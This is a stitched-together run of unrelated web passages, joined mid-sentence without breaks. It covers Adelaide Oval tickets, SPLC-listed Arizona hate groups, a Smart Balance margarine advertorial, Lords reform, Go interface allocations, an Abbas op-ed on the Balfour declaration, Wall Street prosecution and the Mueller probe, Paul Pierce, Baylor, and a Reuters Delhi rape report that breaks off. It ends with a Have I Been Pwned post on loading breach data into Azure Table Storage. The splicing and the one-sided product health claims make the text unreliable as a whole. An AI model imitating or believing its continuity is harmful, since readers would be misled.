- To be eligible for junior general admission children need to be under the age of 15 as at January 1, 2016
- Applicable only at the June 5 and July 31 Sunday matches held at Adelaide Oval
- Tickets available through TicketekPHOENIX - The Southern Poverty Law Center has identified the hate groups it says has statewide membership in Arizona.
The Soldiers of Odin started in Europe as an anti-immigrant group, but has since spread to the 42 states in the US, the SPLC said. In Arizona, the SPLC lists it as an anti-Muslim group based in Flagstaff.
In the Phoenix area, a website called BombIslam.com features its founder harassing and insulting Muslims and Islam.
The Southern Poverty Law Center also lists the Alliance Defending Freedom, Family Watch International and Faithful Word Baptist Church in Tempe as being anti-LGBTQ hate groups.
Vanguard America is a self-proclaimed "white nationalist" group, but also claims to be against gay rights, the Jewish people and says fascism is "America's next step."
The SPLC list also includes the Nation of Islam and a West Valley church called Israel United in Christ. Both are listed as Black Separatist hate groups.
The SPLC identified The Free American and ACT America as hate groups operating in Tucson.
And the group also lists the US Border Guard and American Border Patrol as anti-immigrant groups in Southern Arizona.
To see the identified hate groups click here.
Copyright 2017 KPNXWhat is trans fat?
Trans fat is a fatty acid formed through a chemical process called hydrogenation. Hydrogen is added to liquid vegetable oils to reconfigure the fat molecules into solid fat. Some food manufacturers use partial hydrogenation because it increases shelf life and flavor stability. Trans fat is most commonly found in some of America’s favorite processed foods: baked goods, crackers, snack foods, shortening and some margarines. Natural levels of trans fat can be found in meat and dairy products, but there is no scientific consensus to conclude that trace levels of natural trans fat causes dietary harm.
Why is trans fat unhealthy?
Trans fat raises low-density lipoprotein (LDL, or “bad” cholesterol) and reduces high-density lipoprotein (HDL, or “good” cholesterol). For more information on LDL and HDL cholesterol, please see “Cholesterol – The good, the bad, and the difference,”.
How much trans fat is too much?
The American Heart Association recommends that we eat no more than 2g of trans fat per day. Purchasing foods labeled “0 g trans fat” is one strategy for controlling your intake of this unhealthy fat. But you should know that nutrition labels don’t tell the whole story.
The FDA guidelines allow manufacturers of any food product with less than 0.5g of trans fat to list “0g” on the nutrition label. With that much leeway, it’s hard to know exactly how much trans fat you’re eating. For example, just two tablespoon servings of a margarine containing partially hydrogenated oils, but labeled 0g trans fats, can contain up to almost 1g of trans fat. Eat a few pieces of toast at breakfast with one of these margarines, and you’re half way to the AHA daily limit by the end of breakfast.
So how can you break down the food labels and keep your trans fat intake as low as possible?
First, look for “hydrogenated” or “partially hydrogenated” oils and shortening on the ingredients list, and leave those foods on the shelf. Second, switch to Smart Balance® Buttery Spread. Of all the leading brands of margarines and spreads, Smart Balance® is the closest to 0 grams of trans fat that nature allows. With only naturally occurring traces of trans fat and no hydrogenated oils, Smart Balance® Buttery Spread not only helps you control the amount of trans fat you eat, it actually can support healthy cholesterol levels that are already within the normal range when at least 2/3 of your daily fat intake comes from this product or our food plan. The Smart Balance™ Food Plan is designed to limit total fat intake to 30% of calories consumed. By following the plan, saturated fat intake is limited to 10% of that, or 20g per day; dietary cholesterol remains under 300mg per day; and trans fatty acids are minimized. In addition, regular exercise is essential to good health. Please see the nutrition information of Smart Balance® Buttery Spread for fat and saturated fat content.Image caption The government wants to reduce the number of peers in the House of Lords to 450
Coalition tensions over House of Lords reform have intensified, with the Lib Dems threatening to retaliate if Tory MPs seek to derail the plans.
Up to 100 Tory MPs could revolt in an important vote on Tuesday on plans for a mostly elected chamber - which could endanger the key Lib Dem policy.
Tories have criticised Lib Dem attempts to link the issue to boundary changes.
But senior Lib Dem David Laws said both parties must honour commitments to overhaul the "antiquated" system.
The government wants to make the Lords a mostly elected chamber of Parliament, with the number of members likely to be halved to around 450 and the first elections taking place in 2015.
'Critical moment'
The plan has been spearheaded by Lib Dem leader Nick Clegg and although it is backed by David Cameron, many Tory MPs are unhappy - thinking the proposals are flawed and will result in increased conflict between the new body and the Commons.
Analysis In public, senior Lib Dems are calmly predicting victory in Tuesday's vote on Lords reform. Behind the scenes it is a very different story and the stakes could hardly be higher. Those around Mr Clegg say it is "a pivotal moment" and warn defeat would scupper any prospect of getting Lords reform through during this Parliament. Opponents of Lords reform, they argue, will view a defeat on "the timetable motion" as "game on" to frustrate and de-rail the legislation. But a Tory revolt could also seriously de-stabilise the coalition and has prompted behind the scenes threats by Lib Dems that they may block boundary changes and other measures favoured by the Conservatives. "The idea it would not have consequences is wrong. It would have very serious consequences" said one of Mr Clegg's team. Such a tit-for-tat strategy would raise tensions within the coalition to an entirely new level. Although Mr Clegg's people insist the clash over Lords reform is not a coalition breaker - it could seriously undermine trust and goodwill within the government. The two crucial ingredients needed to keep the coalition together.
MPs will decide next week whether to approve a "timetable motion", which would set out the amount of time for debate on the House of Lords Reform Bill and the terms of its passage through Parliament.
The BBC understands one Conservative MP is prepared to face the sack from their job as a ministerial aide by rebelling against the coalition and others could follow.
Tensions have risen further after Nick Clegg's former director of strategy warned of "consequences" for other political and parliamentary reforms if Tory MPs sought to block the Lords plans.
Speaking to the Independent newspaper, Richard Reeves - who stood down as the Lib Dems' director of strategy on Thursday to work in America - said Tuesday's vote was a "critical moment" for Lords reform and "a once-in-a-generation chance" to secure it.
"Anyone who thinks Nick Clegg will shrug his shoulders [after a defeat], say 'never mind' and 'everyone tried our best', will be in for a rude awakening," he added. "That is not going to happen."
BBC political correspondent Vicki Young said Lib Dem insiders have "made it clear" that they are prepared to block the re-drawing of constituency boundaries, a move which is likely to favour the Tories at the next election.
Under the plans, the number of MPs would be reduced from 650 to 600, to allow for a more even spread of voters in each constituency and it is predicted the Conservatives could gain an extra 20 seats as a result.
Despite the row, the Lib Dems said they remained confident Tuesday's motion would be passed and commitments the parties made in their election manifestos and in the coalition agreement must be honoured.
"It is time we reformed this antiquated second chamber," former Cabinet minister Mr Laws told the BBC.
"The prime minister and deputy prime minister have made clear their support for this legislation and we fully expect the votes in the House of Commons to go through and this legislation to be approved."
He added: "We are not planning on the basis of defeats or threats."
'Messing around'
No 10 said the prime minister was determined to press ahead with an overhaul of the Lords and the "usual rules" would apply to any members of the government defying the party whip.
Media playback is unsupported on your device Media caption Peter Bone: 'No-one seriously thinks this coalition can stagger on to 2015'
Conservative MPs said a quid pro quo agreement that their party would allow a referendum on the voting system in 2011 in return for Lib Dem support for boundary changes did not extend to Lords reform.
"They (the Lib Dems) just can't be trusted," Peter Bone told the BBC's Daily Politics, adding, with tongue in cheek, that threats of retaliation from his coalition partners had him "quaking in his boots".
"Now because they didn't get what they wanted in AV (alternative vote) they are saying it's all about House of Lords reform".
He added: "I think the Liberals messing around like this just proves the sooner we get to a minority Conservative government the better."
And Conservative colleague Bernard Jenkin tweeted that the Lib Dems "have abandoned any merits of the case for so-called Lords reform in favour of hold on power".Go’s empty interface{} is the interface that everything implements. It allows functions that can be passed any type. The function func f(any interface{}) can be called with a string f("a string"), an integer f(42), a custom type, or anything else.
This flexibility comes at a cost. When you assign a value to a type interface{}, Go will call runtime.convT2E to create the interface structure (read more about Go interface internals). That requires a memory allocation. More memory allocations means more garbage on the heap, which means longer garbage collection pauses.
Here’s an example. A log function two ways, neither of which do anything because we’re logging at ‘prod’ level, and the messages are ‘debug’. One is more expensive than the other.
package main import "fmt" const ( debug byte = iota prod ) var logLevel = prod func main() { logIface(debug, "Test interface") logString(debug, "Test string") } func logIface(level byte, msg interface{}) { if level >= logLevel { fmt.Println(msg) } } func logString(level byte, msg string) { if level >= logLevel { fmt.Println(msg) } }
And here are benchmarks:
package main import "testing" func BenchmarkIface(b *testing.B) { for i := 0; i < b.N; i++ { logIface(debug, "test iface") } } func BenchmarkString(b *testing.B) { for i := 0; i < b.N; i++ { logString(debug, "test string") } }
Here's the output of go test -bench Benchmark -benchmem on my machine, go1.4.2 linux/amd64:
BenchmarkIface 10000000 126 ns/op 16 B/op 1 allocs/op BenchmarkString 200000000 6.11 ns/op 0 B/op 0 allocs/op
To see what is happening ask Go for the assembly output:
go build -gcflags -S <filename>.go
Notice the CALL runtime.convT2E before CALL logIface, but not before CALL logString.
Or use the fantastic Go Compiler Exporer. The call to runtime.convT2E is on line 27.
Even though logIface doesn't do anything, the runtime still needs to convert the string to an interface to call the function, and that's the memory allocation. It's good to look out for interface{} usage in your inner-most loops - look for fmt and log package functions, container types, and many other places.Many British people will not know of Sir Arthur James Balfour, an early 20th century foreign secretary. For 12 million Palestinians, his name is all too familiar. On the 100th anniversary of the Balfour declaration, the British government should take the opportunity to make things right.
Israel-Palestine: the real reason there’s still no peace Read more
At his desk in London, on 2 November 1917, Balfour signed a letter promising the land of Palestine to the Zionist Federation, a recently established political movement whose goal was the creation of a Jewish state. He promised a land that was not his to promise, disregarding the political rights of those who already lived there. For the Palestinian people – my people – the events this letter triggered have been as devastating as they have been far-reaching.
This British policy, to support Jewish immigration into Palestine while negating the Arab-Palestinian right to self-determination, created severe tensions between European Jewish immigrants and the native Palestinian population. Palestine (the last item on the decolonisation agenda) and we, its people, who sought our inalienable right to self-determination, instead suffered our greatest catastrophe – in Arabic the Nakba.
In 1948 Zionist militias forcibly expelled more than 800,000 men, women and children from their homeland, perpetrating horrific massacres and destroying hundreds of villages in the process. I was 13 years old at the time of our expulsion from Safad. The occasion on which Israel celebrates its creation as a state, we Palestinians mark as the darkest day in our history.
The Balfour declaration is not something that can be forgotten. Today, Palestinians number more than 12 million, and are scattered throughout the world. Some were forced out of their homeland in 1948, with more than 6 million still living in exile to this day. Those who managed to remain in their homes number roughly 1.75 million, and live within a system of institutionalised discrimination in what is now the state of Israel.
Approximately 2.9 million live in the West Bank under a draconian military occupation-turned-colonisation, with 300,000 of that number being the native inhabitants of Jerusalem, who have so far resisted policies to force them out of their city. Two million live in the Gaza Strip, an open prison subjected to regular destruction through the full force of Israel’s military apparatus.
Facebook Twitter Pinterest Arthur Balfour visits the Jewish settlement of Rishon LeZion in 1917. Photograph: Bettmann/Bettmann Archive
The Balfour declaration is not something to be celebrated – certainly not while one of the peoples affected continues to suffer such injustice. The creation of a homeland for one people resulted in the dispossession and continuing persecution of another – now a deep imbalance between occupier and occupied. The balance must be redressed, and Britain bears a great deal of responsibility in leading the way. Celebrations must wait for the day when everyone in this land has freedom, dignity and equality.
The physical act of the signing of the Balfour declaration is in the past – it is not something that can be changed. But it is something that can be made right. This will require humility and courage. It will require coming to terms with the past, recognising mistakes, and taking concrete steps to correct those mistakes.
I salute the integrity of those British people calling on their government to take such steps: the 274 MPs who voted in favour of recognising the state of Palestine; the thousands who have petitioned their government to apologise for the Balfour declaration; the NGOs and solidarity groups turning out on the streets, advocating tirelessly for our rights as Palestinians.
Facebook Twitter Pinterest ‘Two million Palestinians live in the Gaza Strip, an open prison subjected to regular destruction through the full force of Israel’s military apparatus.’ Photograph: Said Khatib/AFP/Getty Images
Despite the horrors we have endured in the past century, the Palestinian people have remained steadfast. We are a proud nation with a rich heritage of ancient civilisations, and the cradle of the Abrahamic faiths. Over the years we have adapted to the realities around us – the chain of events triggered in 1917 – and made deeply painful compromises for the sake of peace, beginning with the decision to accept a state on only 22% of our historical homeland while recognising the state of Israel, without any reciprocation thus far.
We have endorsed the two-state solution for the past 30 years, a solution that becomes increasingly impossible with every passing day. As long as the state of Israel continues to be celebrated and rewarded, rather than held accountable to universal standards for its continued violations of international law, it will have no incentive to end the occupation. This is short-sighted.
Recognise Palestine to mark Balfour centenary, says Emily Thornberry Read more
Israel, and friends of Israel, must realise that the two-state solution may well disappear, but the Palestinian people will still be here. We will continue to strive for our freedom, whether that freedom comes through the two-state solution or ultimately through equal rights for all those inhabiting historic Palestine.It is time for the British government to do its part. Concrete steps towards ending the occupation on the basis of international law and resolutions, including the most recent UN security council resolution 2334, and recognising the state of Palestine on the 1967 border, with East Jerusalem as its capital, can go some way towards fulfilling the political rights of the Palestinian people.
Only once this injustice is set right will we have the conditions for a just and lasting peace in the Middle East – for the sake of Palestinians, Israelis and the rest of the region.
• Mahmoud Abbas is the Palestinian president and chairman of the Executive Committee of the Palestine Liberation OrganisationWhen the financial crisis hit, Obama and Congress did create a financial fraud enforcement task force, but it became little more than a press release factory, a repository for existing cases rather than an investigating force. After the Justice Department bungled a major case against two Bear Stearns traders in 2009, prosecutors preemptively decided they just couldn’t beat Wall Street, no matter the evidence. The Financial Crisis Inquiry Commission referred numerous cases to the Justice Department for criminal prosecution, but no action was taken; officials never even brought in high-profile targets such as former Citigroup board member (and Clinton Treasury Secretary) Robert Rubin for an interview. A massive scandal involving millions of false documents presented to courts in foreclosure cases garnered a Justice Department settlement for pennies on the dollar.
Eisinger reveals this story of backpedaling and cowardice through the eyes of the few who resisted it. There’s Stanley Sporkin, the legendary slob who ran enforcement at the SEC in the 1970s, and his protégé Jed Rakoff, later a federal judge, who would raise a lonely voice to ask how accountability had vanished. There’s Paul Pelletier, the Justice Department attorney who spent years chasing malfeasance at insurance giant AIG, only to have higher-ups squash the case. There’s James Kidney, a 26-year SEC veteran beaten down by weak enforcement. Most corporate defendants, his boss Reid Muoio told him, are “good people who have done one bad thing.”
Every prosecutor knows that in the end, those who take the easier path will enjoy rewards, and those who challenge power won’t.
Muoio was a shining example of the new career path for prosecutors: a graduate of Yale Law, several years in private practice, then rotating into government. As deputy chief of the SEC division responsible for going after fraud involving complex financial instruments, Muoio whittled down cases that involved widespread criminality in an organization—like Goldman Sachs scheming with hedge funds to knowingly sell investors garbage mortgage securities—into a single civil suit against one midlevel staffer. Proving conspiracy in such cases, Muoio argued, was simply too difficult. Like other high-level enforcers, he viewed such investigative hurdles as dead ends, rather than challenges to overcome.
Eisinger is truly damning on how the Obama administration handled white-collar crime. The Justice Department became little more than a way station for once and future partners at top law firms like Covington & Burling; Attorney General Eric Holder had a corner office waiting for him at Covington’s new headquarters when he stepped down. That corporate law background brings with it a comfort with power, a courtesy and respect for the good people who might have done one bad thing.
This merger of prosecution and defense, plucked from the same talent pool, influences how cases are conducted. Lacking resources at the SEC, Sporkin invented the internal investigation, where defense attorneys are tasked with gathering facts about their own clients. But outsourcing white-collar investigations makes prosecutors overly reliant on whatever the defense chooses to give them, and deprives the Justice Department of institutional knowledge. Today, federal prosecutors rarely question the targets of their own investigations, instead trading evidence and queries with defense attorneys. Findings in cases are negotiated, not discovered; frontal assaults on high-powered law firms are eschewed. To launch one, Eisinger writes, would create “social discomfort.” Prosecutors would have to take on their mentors, their friends, and their future bosses.
If it’s easier to get a corporate plea bargain than to win a conviction against a top executive, that’s the path prosecutors will favor. If it’s easier to design a deferred prosecution agreement than to take down a company abusing its investors or customers, that’s the path. If it’s easier to make headlines with seven-figure fines than to undertake the painstaking work of obtaining justice, that’s the path. If there isn’t 100 percent certainty of a conviction, then discretion—some would say spinelessness—argues for settlement. Every prosecutor knows that, in the end, those who take the easier path will enjoy rewards, and those who challenge power won’t. Eric Holder got a corner office and a lucrative partnership. James Kidney, who pushed for aggressive prosecution at the SEC, got a small retirement party, where he said, in a speech that leaked, “For the powerful, we are at most a toll booth on the bankster turnpike.”
As Mueller’s case against Trump has developed, it has clearly evolved into an investigation of financial fraud. Mueller wants to know whether Russian oligarchs used Trump and his network of businesses to liberate cash and evade taxes, and whether they returned the favor by meddling in last year’s election. Paul Manafort’s real estate transactions and involvement with pro-Russian interests in Ukraine involve classic signs of money laundering. So do large loans by German financial giant Deutsche Bank to Trump and Kushner’s real estate interests, also potential money-laundering vehicles, and deals with the Bank of Cyprus, where Commerce Secretary Wilbur Ross was once vice-chairman. Mueller and his all-star team of prosecutors are scrutinizing purchases of Trump properties by Russian nationals, partnerships between Trump and Russia in a New York housing development and a Toronto hotel, and even Trump’s choice of site for the 2013 Miss Universe pageant in Moscow.
This shift into financial crime drops the probe into the same accountability-free zone that has offered nothing but disappointment over the past decade. Consider the recent case involving the Russian-owned real estate firm Prevezon Holdings, which was accused of laundering money from a tax-fraud scheme into luxury apartments in Manhattan. In May, right before it was scheduled to go to trial, the case was abruptly settled for $5.9 million, with no admission of guilt. And contrary to rumors that the Justice Department meddled in the case to assist Prevezon (whose lawyer was the one who met with Donald Trump Jr.), it appears the U.S. attorney for the Southern District of New York, Joon Kim, simply walked off the battlefield. A well-sourced Daily Beast story in July reveals how prosecutors thought they might lose because the jury wouldn’t understand complex transactions involved in the scheme. So they punted.
In the Trump probe, Mueller has displayed flashes of doggedness that recall the Enron Task Force. His team impaneled a grand jury to gather evidence. They subpoenaed banks that worked with Paul Manafort and questioned his son-in-law Jeffrey Yohai, applying pressure to get Manafort to flip. The FBI even raided Manafort’s home, not trusting Trump’s former campaign manager to cooperate with document requests. Trump’s lawyer, John Dowd, responded by complaining that Mueller hadn’t exhausted other, less invasive options to obtain the documents and suggesting that the Trump team might try to suppress the information in court—the type of threat that can ward off a timid prosecutor.
Eisinger recently argued that Mueller learned from the Enron Task Force how to slowly build a case, let investigators do their job, and take the most aggressive line possible. But ultimately, he’ll be working within a structure committed to protecting the powerful from prosecution. Frustration with a special justice system for elites helped create the rage that fueled the rise of Trump. But a special justice system for elites might be exactly what the president needs to escape his Russia problem.Paul Pierce would be averse to being part of a Boston Celtics rebuilding project.
“I’m at the point in my career where I’ve got to evaluate it each and every year,” Pierce said. “It’s all based on the situation and based on what I want out of this game still. I mean, I’ve still got a lot of love for the game. I’m still very motivated. But there’s other factors.
“I mean, I really don’t want to be part of a rebuilding situation again. I just think at this point in time that’s something that would wear on me too much mentally that I don’t know what decision I may make if I have to. I may retire if I have to. You know, that’s something that’s a year-end process, especially given the situation that we have right now.”
Pierce left open the possibility he could finish his career with another team.
“It’s all on what they plan on doing,” said Pierce. “If they try to go into a rebuild mode, then, you know, I don’t know if I want to be a part of that. But that’s up to them and what they need to do. I don’t want to go out on a rebuild mode.
“I want an opportunity to at least try to win another championship, simple and plain. And if that’s not going to be here — if that’s going to be somewhere else — so be it. That’s what it has to be. I mean, even the greatest players played for other franchises.”Women who say they were sexually assaulted at Baylor have complained that the school failed to offer proper protection under Title IX, the federal civil rights law that outlaws sex discrimination in education.
Last week, as commencement ceremonies were underway, Baylor announced that Pepper Hamilton briefed the regents, who would decide in coming weeks what to do.“That’s where we are and I think you need to respect the fact that we’re a private institution,” Willis said. “The board wants the opportunity to make a decision and gather information and we deserve that.”Alumni and students have called on the school to release the findings, as other schools have done. But Baylor is under no obligation to do so.Civil rights advocates say even private institutions have a responsibility to the public.“Civil rights laws – even in private university settings – are always the public’s business,” said Wendy Murphy, a law professor at the New England School of Law in Boston. “It's unacceptable to deny external access to a report about civil rights laws and violence against women.”The University of Colorado at Boulder also engaged Pepper Hamilton to review its handling of sexual assaults. In that case, a spokesman said, the firm conducted more than two dozen interviews on campus days and then gave an oral presentation to the university. A written report followed four months later.Occidental College, a private university in Los Angeles, released to the public a similar report from the same firm.Willis said at Baylor, Pepper Hamilton reviewed tens of thousands of written and electronic documents and interviewed people to reach its conclusions. He declined to say whom the law firm interviewed, but said, “They were very, very thorough in everything they did.”BADAUN, India/NEW DELHI (Reuters) - In a village in India’s Uttar Pradesh state, a woman sits hunched on the ground in a green shawl, visibly weak and shivering in the January cold. She says she has not eaten for days, and neither have her five young children.
Ravidas camp, the slum where four of the six accused by police in the Delhi gang rape case, reside, is pictured in New Delhi January 10, 2013. REUTERS/Mansi Thapliyal
She has never heard of Manmohan Singh, India’s prime minister, having never ventured further from her village than a nearby market town, and ekes out a living working in potato fields on other people’s land.
Her eldest son left home when he was 11. He never returned, and the woman thought he was dead. The first news she got of him was when police from New Delhi turned up at her brick hut to say he had been arrested for the gang rape and death of a student, a crime whose brutality stunned India.
In an interview with Reuters, the mother of the juvenile, the youngest of six members of the gang accused of the attack, recalled the son who left home five or six years ago for the bright lights, and seemed stunned by the accusation against him.
“Today, the infamy he earned is eating me up,” his mother said as villagers stood and stared. “I can’t even sit with two other people in the village because of the shame that my son has brought to the family.”
A 23-year-old physiotherapy student was beaten and raped on a moving bus in the Indian capital on December 16. She was left bleeding on a highway and died two weeks later from internal injuries.
The five men who have been charged with rape and murder are all expected to plead not guilty. One says police tortured him.
The sixth member of the gang, the woman’s son, is being processed as a juvenile and has not been charged. He will be tried separately.
Police have said they are conducting bone tests to determine his age as they suspect he may be over 18 years old. Reuters is withholding his name for this story.
The trial of the five men is due to start within weeks.
“BLACK MAGIC”
It is from a life of rural penury that the youth sought to escape, one of about two million Indians who migrate to cities every year, chasing an economic boom that has propelled India for the past two decades but has trickled down slowly to its poor.
Conversations with relatives, neighbors and police show the extent to which the accused lived on the margins of the city’s emerging prosperity, holding menial jobs and living in a slum.
Their lives stand in contrast with that of the victim.
She was also from a humble background but funded her studies by taking a job in one of the call centers that are a hallmark of modern India’s economy and have helped build an aspirational new middle class.
According to his mother, the youth joined a group of other village boys travelling to New Delhi, found work in a roadside eatery and - for the first year - used to send 600 rupees ($11) a month back to his family.
After he stopped sending money, his mother never heard from him again. At first she thought he might have been forced into bonded labor. Later, she presumed he was dead. A couple of months before the rape, she consulted a Hindu holy man about her son, whom she remembered as a good boy.
“The holy man told me that someone has practiced some black magic on him, but that he would come back,” she said.
Living on the breadline and with a husband who is mentally ill, the mother works in fields with her daughters to feed her family. Halfway through the conversation with Reuters, she fainted, apparently from hunger, and had to be carried to bed.
About half of her village are landless laborers, and about a quarter of all men migrate to cities in search of work, according to farmer Vijay Pal.
“SING-SONG VOICE”
The details of the boy’s life after he left his village are patchy. Even his fellow accused did not know his real name and called him by an assumed name, a senior police officer told Reuters. Police described him as a “freelancer” at a Delhi bus station, cleaning buses and running errands for drivers.
“He was a helper on buses who would solicit customers by calling out to them in a sing-song tone,” the officer said.
He was popular with the contractors who ran the bus services and frequently changed jobs.
It was during this time that he met Ram Singh, the main accused in the case, whom he had gone to meet on the day of the attack in the hope of getting back money that Singh had borrowed from him, police said.
The juvenile went to Singh’s house to claim 8,000 rupees ($150) but Singh invited him to stay for food instead, according to a police report. After the attack, police say they found the juvenile’s blood-stained clothes on Singh’s roof.
In an interview with Reuters, the friend of the victim who had accompanied her on the bus |
you structure your partitions is very dependent on how you want to query your data so let’s touch on that for a moment. Here’s how HIBP is queried by users:
As it turns out, an email address has an organic structure that lends itself very well to being segmented into partitions and rows. Take foo@bar.com – the domain is the partition key and the alias is the row key. By creating a partition for “bar.com” we can make the search for “foo” massively fast as there are only a small portion of the total records in the data set, at least compared to the number of overall records.
Obviously some partitions are going to be very large. In the Adobe breach, there were more than 32 million “hotmail.com” accounts so that’s going to be a big one. A small company with their own domain and only a few people caught up in a breach might just have a few addresses and a very small partition. That doesn’t mean the Hotmail partition will be slow, far from it and I’ll come back to that later on. For now though, let’s move onto the code.
Inserting breach data into Table Storage
Let’s do the “Hello World” of Table Storage using the HIBP data structure. Firstly, we need one little NuGet package and that’s the Windows Azure Storage libraries. Be careful though – don’t take the current version which is 3.0.0. I’ll explain why later when I talk about the emulator (and do check the currency of this statement if you’re reading this in the future), instead run this from the Library Package Manager command line:
Install-Package WindowsAzure.Storage -Version 2.1.0.4
Now we’ll use that access key from earlier on and whack it into a connection string and it looks just like this:
< connectionStrings > < add name = " StorageConnectionString "
connectionString = " DefaultEndpointsProtocol=https;AccountName=haveibeenpwned;AccountKey=mykey " /> </ connectionStrings >
Just like a SQL connection string (kinda). Note the endpoint protocol – you can go HTTP or HTTPS. Clearly the secure option is preferable.
Into the code itself, we begin by getting a reference to the storage instance:
var connString = ConfigurationManager.ConnectionStrings[ "StorageConnectionString" ].ConnectionString; var storageAccount = CloudStorageAccount.Parse(connString);
Now we’ll get a reference to the table within that storage instance and if it doesn’t already exist, we’ll just create it (obviously just a first-run thing):
var tableClient = storageAccount.CreateCloudTableClient(); var table = tableClient.GetTableReference( "BreachedAccount" ); table.CreateIfNotExists();
Before we can start chucking stuff in there, we need that entity I mentioned earlier so let’s create a BreachedAccount that inherits from TableEntity.
public class BreachedAccount : TableEntity { public BreachedAccount() { } public string Websites { get ; set ; } }
Notice how we haven’t created partition or row keys? They’re inherited from the TableEntity and what it means is that we can now do this:
var breachedAccount = new BreachedAccount { PartitionKey = "bar.com", RowKey = "foo", Websites = "Adobe;Stratfor" };
Obviously the websites are just semicolon delimited – nothing fancy (in my case I then split this back into a string array later on). Anyway, now we can just save it:
var insertOperation = TableOperation.Insert(breachedAccount); table.Execute(insertOperation);
And that’s it, we’re done! Now we can flick back into the Azure Storage Explorer, hit the “Tables” button in the top right, select the “BreachedAccount” table from the left and then “Query” it:
We have data! This is a current live view of what’s in HIBP and I’ve scrolled down to the section with a bunch of what are probably junk accounts (don’t get me started on email address validation again). You can now see the partition key, row key, timestamp and “Websites”. If we were to add another attribute to the BreachedAccount entity then we’ll see that too even though we already have data there conforming to a different schema. That’s the neat thing about many NoSQL database implementations in that you’re not constrained to a single schema within the one container.
It’d be remiss of me not to mention that you can also view this data directly from within Visual Studio in the Server Explorer. The updates to this pushed out in version 2.2 of the Windows Azure SDK six weeks ago make it an absolute cinch in either VS2012 or 2013:
So we’re done, right? Kinda – I don’t really want to do 154 million individual inserts as each connection does have some overhead. What I want to do is batch it and that looks more like this:
var batch = new TableBatchOperation (); batch.Insert(breachedAccount1); batch.Insert(breachedAccount2); batch.Insert(breachedAccount3); table.ExecuteBatch(batch);
Batching is about more than just committing a bunch of rows at one time, it also has an impact on cost. Remember how Azure Table Storage charges you $0.0000001 per “transaction”? I’m not made of money so I want to bring that cost down a little and I can do this by batching because a batch is one transaction. However, there are some caveats.
Firstly, you can only batch records into the same partition. I can’t insert foo@bar.com and foo@fizz.com within the same batch. However, I can insert foo@bar.com and buzz@bar.com at the same time as I’m using the domain as the partition key. What this meant is that when I wrote the code to process the records I had to sort the data by domain so that I could keep all the records for the partition together and batch them. This makes sense in the context of Julie’s earlier comment about the partition being tied to a machine somewhere.
Secondly, you can only batch up to 100 rows at a time. Those 32 million Hotmail addresses? That’s 320,000 batches thank you very much. This meant my importer needed to not only enumerate through accounts ordered by domain, but each time it had a collection of 100 it needed it commit them before moving on. Per the previous point, it obviously also had to commit the batch as soon as it got to the next domain as it couldn’t commit to multiple partitions in the one batch.
With all that clear, all I had to do was create a text file with all the 153 million Adobe addresses broken down into alias and domain ordered by the latter then create a little console app to enumerate each row and batch as much as possible. Easy, right? Yes, but we’d be looking at millions of consecutive transactions sent across a high-latency connection – you know how far it is from Sydney to the West Coast of the US? Not only that, but even with low-latency this thing wouldn’t take minutes or hours or possibly even days – I needed more speed.
Turning the import script up to 11
There were two goals for getting this into Table Storage quickly:
Decrease the latency Increase the asynchronicity
The first one is easy and it’s along the lines of what I touched on earlier in relation to when I used the chunky SQL Server VM – just provision a VM in Azure at the same location as the Table Storage and your latency comes down to next to nothing. Obviously I needed to copy the source data up and we’re looking at gigabytes of even compressed records here, but once that was done it was just a matter of running the console app in the VM and that’s the latency issue solved.
Asynchronicity was a bit tricker and I took two approaches. Firstly, we’re living in an era of Async Await so that was the first task (little async joke there!) and I tackled it by sending collections of 20,000 rows at a time to a process that then broke them into the appropriate batches (remember the batch constraints above), fires this off to a task and waited for them all to complete before grabbing the next 20,000. Yes, it meant at best there were 200 async tasks running (assuming optimal batches of 100 rows each), but it actually proved to be highly efficient. Maybe more or less would have been better, I don’t know, it just seemed like a reasonable number.
The other approach to asynchronicity was multi-threading and of course this is a different beast to the parallelism provided by Async Await. Now I could have been clever and done the threading within the console app, but I decided instead to take the poor man’s approach to multithreading and just spin up multiple instances of the console.
To do this I allowed it to be invoked with parameters stating the range of rows it should process – which row should it start at then which row should it finish on. The bottom line was that I could now run multiple instances of the importer with each asyncing batch commits across partitions. So how did it go? Rather well…
Importing 22,500 rows per second into Azure Table Storage
Up in the Azure VM now and I’m now importing the 153 million Adobe accounts with nine simultaneous instances of the importer (I chose nine because it looked nice on the screen!) each processing 17 million addresses and sending clusters of up to 20,000 domains at once to async tasks that then broke them into batches of 100 records each. It looked like this:
The max throughput I achieved with this in a single console instance was when all 17 million rows were processed in only 47 minutes – that’s a sustained average of over 6,000 rows per second for three quarters of an hour. Then again, the slowest was “only” 521 records per second which meant a 9 hour run time. Why the 12-fold difference in speed? If one chunk of 17 million rows had a heap of email on the same domain (gmail.com, hotmail.com, etc.) then you’d get a lot of very efficient batches. When you have lots of dispersed domains you end up with sub-optimal batches, in other words lots of batches with less than 100 rows. In fact that slowest instance committed nearly 3 million batches so had around 6 rows per batch whilst the fastest only committed just over 170,000 batches so it was almost perfectly optimised.
The bottom line is that if you combine the average speed of each of those nine instances, you end up with a sustained average of about 22,500 inserts per second. Of course this peak is only achieved when all instances are simultaneously running but IMHO, that’s a very impressive number when you consider that the process is reading the data out of a text file, doing some basic validation then inserting it into Table Storage. I honestly don’t know if you’d get that level of success with your average SQL Server instance. I’d be surprised.
Unsurprisingly, the VM did have to work rather hard when running the nine simultaneous importers:
Oh – and this is an 8 core machine too! Mind you, it may be saying something about the efficiency of my code but somehow I don’t think it’s just that. What I find interesting with this is that the CPU is maxed and NIC is pumping out over 100Mbps so the machine is well and truly getting worked; what would the throughput do if I was running two VMs? Or five? Would we be looking at 100,000 rows per second? My inclination is to say “yes” given the way the Table Storage service is provisioned by spreading those partitions out across the Azure infrastructure. Assuming batches were being simultaneously committed across different partitions, we shouldn’t be IO bound on the storage side.
One issue I found was that I’d get to the end of an instance processing its 17 million records and the stats at the end would suggest it had only processed 99.7%+ of addresses. What the?! After a bunch of debugging I found that the async task I was firing off didn’t always start. Now keep in mind that I’m firing off a heap of these at once – at least 200 at once depending on the spread of domains and consequently partition keys – but I also found the same result when re-running and firing off only 5 tasks simultaneously (incidentally, this only increased the duration by about 25% – you can’t just infinitely fire off more async tasks and achieve a linear speed gain). But the results were also inconsistent insofar as there might be a 99.7% success rate on one run then a 99.8% on the next. I’m no expert on async, but my understanding is that there’s no guarantee all tasks will complete even when awaiting “WhenAll”. But in this case, it actually doesn’t matter too much if a small number of records don’t make it if the task doesn’t run, just to be sure though, I ran the whole process again. And again. And Again. Which brings me to the next point – idempotency:
Idempotence is the property of certain operations in mathematics and computer science, that can be applied multiple times without changing the result beyond the initial application.
